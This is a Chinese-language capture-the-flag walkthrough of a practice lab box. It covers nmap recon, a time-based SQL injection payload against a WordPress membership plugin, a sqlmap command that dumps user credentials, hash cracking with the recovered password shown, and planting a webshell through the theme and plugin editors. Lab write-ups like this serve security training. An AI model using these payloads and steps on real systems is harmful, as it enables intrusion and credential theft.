Pipe pg walkthrough Intermediate

NAMP

┌──(root?kali)-[~]
└─# nmap -p- -A 192.168.128.45
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 07:03 UTC
Stats: 0:00:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 07:04 (0:00:00 remaining)
Nmap scan report for 192.168.128.45
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_  256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://affliation.local/
|_http-server-header: nginx/1.18.0
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8080/tcp)

只有80 和 22 端口
那么方向很明显了就是80web站点有漏洞

访问会跳转到一个域名

在host 里面加上这个域名

发现是wordpress 6.2

wpscan扫描

发现了一个版本较低的插件

我们上网搜到了插件的poc

https://www.exploit-db.com/exploits/51235

尝试运行 发现漏洞确实存在



但是他这里给出的方案是用sqlmap去扫描

但是为了锻炼自己 以及oscp考试的要求是不能用sqlmap的

我们尝试手动注入

为了快捷方便的看看 他的poc是啥

proxychains python exp.py http://affliation.local

我用proxychains 直接让python 的request发包 走bp的代理

可以看到poc是

rest_route=/pmpro/v1/order&code=a' OR (SELECT 1 FROM (SELECT(SLEEP(1)))a)-- -

那么我们尝试在这个poc 上改进

这个先标记一下

现在我们再看看有无其他入手点

好像也没找到啥了

然后发现这个sql注入是盲注的 无奈之下还是用sqlmap吧

不然以我的能力写不出来

sqlmap -u "http://affliation.local/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass

接下来就是慢慢等他脱库了

OK经历了一个世纪



我们爆破一下这个密码把

先判断是啥类型的hash



然后再爆破



letsyouupdateyourfunnotesandmore

登录后台成功



尝试该404.php 来反弹shell 然后我发现找不到404的php在哪



于是我该index.php 页面





发现我们竟然是root

懒得get反弹shell了

直接读flag 这连提权都不需要

我现在要针对wordpress研究一下 哪些地方写webshell 能快速定位到

一个是index.php

我现在尝试一下用plugin 写shell

这个插件我们经常看到

而且我们也扫到了

尝试改这个



然后启动它

发现也能行得通